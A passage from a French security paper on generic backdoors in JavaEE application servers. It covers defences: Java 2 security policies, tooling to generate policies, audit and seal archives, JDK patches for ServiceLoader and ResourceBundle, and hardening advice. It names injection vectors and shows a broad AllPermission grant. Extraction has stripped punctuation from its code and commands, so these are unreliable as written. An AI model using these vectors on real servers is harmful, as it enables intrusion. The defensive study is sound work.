JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

